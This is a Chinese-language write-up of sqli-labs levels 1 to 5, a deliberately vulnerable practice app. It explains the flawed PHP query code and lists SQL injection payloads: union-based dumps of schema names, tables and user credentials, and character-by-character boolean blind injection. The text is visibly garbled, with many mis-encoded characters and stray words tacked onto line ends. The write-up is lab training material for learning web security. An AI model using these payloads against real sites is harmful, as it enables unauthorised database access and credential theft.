首先咱们打开本关,能够看到url里面 缺乏了id参数。php
因此咱们须要手动给这个页面加上id参数。mysql
添加上了id参数后,咱们进行sql注入所须要的条件以及齐全了。sql
由于此次闯关咱们是以白盒角度进行的,因此咱们不进行尝试,直接查看源码,源码很长,我就不所有放出来了,捡最主要的,跟你们分析一下。数据库
首先,咱们看第一个须要关注的代码。数组
$id=$_GET['id'];
这行代码的意思,就是网页经过get请求方式,获取到id的参数值,这也就表明了咱们能够直接在地址栏里面进行咱们sql注入的相关操做。less
第二个要关注的代码以下。函数
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这行代码是网页从数据库中查找数据,也是sql注入的关键位置。简单来讲,这行代码的一丝就是,咱们要从 user这个表里面,查询全部id等于咱们输入id的内容,而后只取一条反馈到页面上。测试
第三个要关注的代码以下。fetch
$result=mysql_query($sql);
这一行的代码很短,可是倒是比较关键的一步,首先说一下mysql_query这个函数。简单点来讲,这个函数能够帮咱们执行sql语句,而且返回一个结果,可是这个结果只是一个资源标识符,若是直接返回给咱们,是没法让用户看到本身但愿看到的内容。因此,就有了咱们第四个须要关注的代码。网站
第四个要关注的代码以下。
$row = mysql_fetch_array($result);
这行代码,简单点来讲,是mysql_fetch_array这个函数,它的做用是返回根据结果集取得的行生成的数组,也就是说,mysql_query这个函数在执行过sql命令以后,是会带回来结果的,可是返回的只是资源标识符,而这个函数,可以从返回的结果里面,取出来咱们但愿看到的内容。
第五个要关注的代码以下。
print_r(mysql_error());
print_r函数,是php里面的输出函数。咱们第一个程序的hello word就是依靠这个函数输出的。咱们须要关注的,是mysql_error这个函数,这个函数就是若是sql语句出错,就经过这个函数返回错误。这两个函数集合在一块儿,就是报错注入的关键。
或者说,是咱们判断这里是否有报错注入的关键。
由于若是一个地方有注入,可是咱们经过测试后,页面并无返回数据库语句错误,咱们是没法判断这个地方存在报错注入的。
第一关的源码很长,可是我认为须要关注的点就这么些。
mysql_query(),mysql_fetch_array()这两个函数完成了网页从数据库查询的功能。
mysql_error()这个函数,知足了报错注入所须要的条件。
代码看完以后,咱们就只须要把视线聚焦在一条代码上面。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
咱们清楚SQL注入攻击的原理:恶意用户在提交查询请求的过程当中将SQL语句插入到请求内容中,同时程序自己对用户输入内容过度信任而未对恶意用户插入的SQL语句进行过滤,致使SQL语句直接被服务端执行。
因此,咱们须要完成sql注入攻击,就须要闭合掉本来的sql语句,而后在后面拼接咱们但愿执行的sql语句。
简单分析一下这个代码,咱们输入的内容,会被传输到$id这个参数里面,因此咱们须要关注的点在id='$id' 这里。因此,若是咱们但愿这行代码闭合,那么咱们就须要利用单引号。
简单来讲,若是咱们输入的内容是1,那么 id='$id' 就会变成 id='1',而若是咱们输入的内容是1',那么id='$id'就会变成 id='1'',整合到语句里面,就是以下的代码。
$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";
能够看到,代码里面多了一个单引号,而这,就会引发语句的出错。
因此,为了保证网页还能够正常进行,咱们须要将后面的单引号注释掉。也就是利用“ -- ”,这里注意,两个横杠先后,都要加上空格,否则会注释不掉后方代码。因此在加上以后,代码会变成以下这样。
$sql="SELECT * FROM users WHERE id='1' -- ' LIMIT 0,1";
这里,由于这关是有显示位置的,因此咱们须要知道有几个位置是咱们可用的,这里就须要用到order by。
pyload以下:
1' order by 1 --
这里,咱们须要调整 by 后面的数字,逐步增大,直到网页报错为止,若是网页报错,咱们就知道,上一个数字,是最大的。
这里,我测试过了,最大数字为3,由于很繁琐,就不一步一步测试了。
测试出了最大数字以后,咱们就知道了网站的显示位置。
这里,咱们能够利用联合查询。payload以下:
1' and 1=2 union select 1,2,3 --
能够看到,网页上本来显示username和password的地方如今变成了2和3。
这里要注意的是,本来在id 后面跟着的等式 1=1 变成了 1=2 。这里,就跟union 这个语句有关了。这是sql注入里面很经常使用的东西,用法是将先后两个sql语句结合起来,可是,若是第一条成立,那么在显示位置有限的状况下,后面的查询虽然也正常执行了,可是却不会在网页上反馈,若是咱们但愿在屏幕上直接看到返回结果,就须要让前方的语句错误。
而后,在获得了显示位置的以后,咱们就能够将2和3替换掉,来构造语句,让网页返回咱们但愿看到的内容。
pyload 以下:
1' and 1=2 union select 1,version(),database() --
version()这个函数是返回当前数据库版本信息,database()这个函数是返回当前数据库名。
接下来,是sql显注的经常使用命令。
1' and 1=2 union select 1,(select schema_name from information_schema.schemata),3 --
这一条命令,是报数据库名的,可是,直接在地址栏输入这个内容,网站会报错。
这里是由于schema_name 的内容是不少行,可是这里只有一行的显示位置,因此咱们须要经过 group_concat这个函数来将全部的数据整合到一行输出。
最后完整的爆数据库名称的payload以下。
1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --
在得知了所有数据库以后,咱们就能够从中选择本身想要查询的数据库,爆表名。
payload以下:
1' and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 --
获得了表名以后,为了获得里面的数据,咱们还须要知道字段名。
payload以下:
1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --
在得知了字段名以后,爆数据的操做就比较简单了。
payload以下:
1' and 1=2 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --
到这里,sql手注的基本命令就已经结束了,sqli-libs的第一关,通关。
第二关,咱们一样先在url中增长id参数。
由于咱们此次是白盒测试,废话很少,直接看代码。
由于关键的几个函数第一关已经讲过,因此这里咱们就直接看关键的地方。
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
这里,咱们能够看到 这条代码里面的 id=$id ,$id 外面并无任何的包裹,因此,这里咱们不须要作闭合,直接将咱们想要构造的参数直接输入在网址里面就能够了。
这里,咱们只须要按照上一关如出一辙的步骤就能够完成注入。
第二关,通关。
第三关,先在url中加入id 参数。
直接看代码。
这里,咱们关注下面的代码。
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
这里能够看到,id=('$id'),也就是说,咱们在url中的id=1如何结合到代码里面,那么代码就会变成。
$sql="SELECT * FROM users WHERE id=('1') LIMIT 0,1";
因此,若是咱们想要在闭合代码,而且在后方拼接代码,就须要先闭合前方的单引号和括号。
综上所述,这一关咱们想要完成注入,须要构造的payload以下:
1') and 1=2 union select 1,2,3 --
ps:第二关没有加注释的缘由是,第二关咱们其实没有闭合掉任何东西,因此哪怕咱们在后面拼接sql语句,也不会有多出来的部分致使代码出错,因此,并不须要注释掉后面的部分。
第三关,通关。
第四关,在url里面增长id参数。
不说废话,直接看代码。
这里,咱们须要关注两行代码。首先,仍是咱们前几关关注的位置,第一行代码以下:
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
这里,咱们能够看到代码里面 id = ($id) ,可是,若是咱们直接使用单括号闭合,是没法完成目的的。
上图咱们能够看到,咱们用单括号闭合了参数,而且在后面构造了语句 'and 1=2' 正常的语句,是不会返回任何结果的,可是如今他返回了,因此咱们的输入没有被执行,也就是说咱们构成的语句出问题了。
这里,就须要关注第二行代码。
$id = '"' . $id . '"';
这里,可能看着代码很难理解,可是其实点在php代码种起的是拼接做用,而单引号,只是将他包裹的内容定义为字符串。
因此,这一行若是简单点来看的话,实际上是这样的 $id = "$id",这一行就是在咱们输入的参数外面包裹了一个单引号,单分出来一行是由于直接这么写会由于原始代码里面也存在双引号,会致使代码出错。
因此咱们这一关想要构造闭合,要使用 ") 而不是 )。
完成payload以下:
1") and 1=2 union select 1,2,3 --
第四关,通关。
第五关,先给url里面增长id参数。
虽然这个页面跟前面几个有区别,这个暂且不提,先看代码。
这一关,简单点来讲的话,仍是只须要看一行代码。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
因此,咱们只须要利用单引号闭合,而后在后面构造本身但愿执行的sql语句就能够了。可是,从下方的输入内容,咱们能够看到,这一关,咱们但愿看到的内容并不会在页面上获得反馈了,这就是布尔型盲注。
下面是盲注的一些经常使用命令。
1' order by 3 --
测试当前数据库名称字符长度。
1' and length(database())>1 --
ps: 这里挨个增长后面的数字太麻烦,咱们能够经过取中间值的方法来缩短测试次数。好比先测试大于1,再测试大于10,若是第一次成功,第二次失败,就证实字符长度在1和10之间,下一个就能够测试是否大于5。
这两行代码能够看出来,当前数据库的字符串长度为8,知道这个以后,咱们就能够挨个测试每一个字母是什么。
测试第一个字母是什么。
1' and substr(database(),1,1)='s' --
测试第二个字母是什么。
1' and substr(database(),2,1)='e' --
这里由于咱们清楚当前数据库为 security,因此就不一个一个测试了。
这里,若是想猜别的数据库名,能够经过下面这个代码来完成。
猜第一个数据库的第一个字母。
1' and substr((select schema_name from information_schema.schemata limit 0,1),1,1)='i' --
猜第一个数据库的第二个字母。
1' and substr((select schema_name from information_schema.schemata limit 0,1),2,1)='n' --
猜第二个数据库的第一个字母。
1' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='c' --
猜第二个数据库的第二个字母。
1' and substr((select schema_name from information_schema.schemata limit 1,1),2,1)='h' --
固然,咱们还能经过下面代码来获知,到底有几个数据库。
payload以下:
1' and 1=((select count(*) from information_scheama.schemata)=6) --
利用这行代码,咱们能够知道总共有多少数据库。
同理,在咱们爆表名以前,也能够先查看一下指定数据库中有几个表。
payload以下:
1' and 1=((select count(*) from information_schema.tables where table_schema='security')=4) --
猜指定数据库的第一个表名的长度。
1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>1 --
测试出了第一个 表名的长度以后,咱们就须要猜第一个字母是什么。
代码以下:
1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' --
猜第二个表的长度。
1' and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))>1 --
猜第二个表的第一个字母。
1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r' --
猜第二个表的第二个字母。
1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e' --
猜出来代表以后,就须要爆字段名了,咱们一样能够利用代码来查看这个表中有几个字段。
payload以下:
1' and 1=((select count(*) from information_schema.columns where table_name='users')=6) --
爆指定表的第一个字段长度。
1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>1 --
猜第一个字段的第一个字母。
1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='U' --
猜第一个字段的第二个字母。
1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)='S' --
猜第二个字段的第一个字母。
1' and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)='C' --
猜第二个字段的第二个字母。
1' and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),2,1)='U' --
在得知了字段以后,咱们就须要爆数据了。
爆数据的时候,咱们仍是须要先使用代码查看这个表格中到底有多少条数据。
payload以下:
1' and 1=((select count(*) from security.users)=13) --
ps:这里有个颇有意思的点,由于users表里面有六个字段,可是咱们爆数据数量的时候,爆出来表中有十三条数据,是指有十三条数据,每一个字段里面都有十三条,而并不是全部字段里面的数据加起来只有十三条,这个能够留意一下。
爆指定字段的第一条数据的第一个字母。
1' and substr((select username from security.users limit 0,1),1,1)='D' --
爆指定字段的第一条数据的第二个字母。
1' and substr((select username from security.users limit 0,1),2,1)='u' --
爆指定字段的第二条数据的第一个字母。
1' and substr((select username from security.users limit 1,1),1,1)='A' --
爆指定字段的第二条数据的第二个字母。
1' and substr((select username from security.users limit 1,1),2,1)='n' --
上面,就是盲注的简单手法,但也是一个比较复杂的手法。
能够看到,在咱们真正爆数据的时候,limit后面跟着的两个数,第一个数表明从第几个开始取,第二个表明此次取几个,经过修改这两个数据,咱们能够作到取指定数据。括号外面的两个数,第一个表明了从第几个开始取,第二个表明取几个,经过这两个数据,咱们能够作到取指定数据的第几个字母。
固然,若是咱们从开始就猜想到可能存在这个数据库的话,咱们能够直接将外面的数值修改,而后直接猜表名,而并不是一个一个猜。
这里,咱们用最后一步,取指定字段的第一条数据。
payload以下:
1' and substr((select username from security.users limit 0,1),1,4)='Dumb' --
第五关,通关。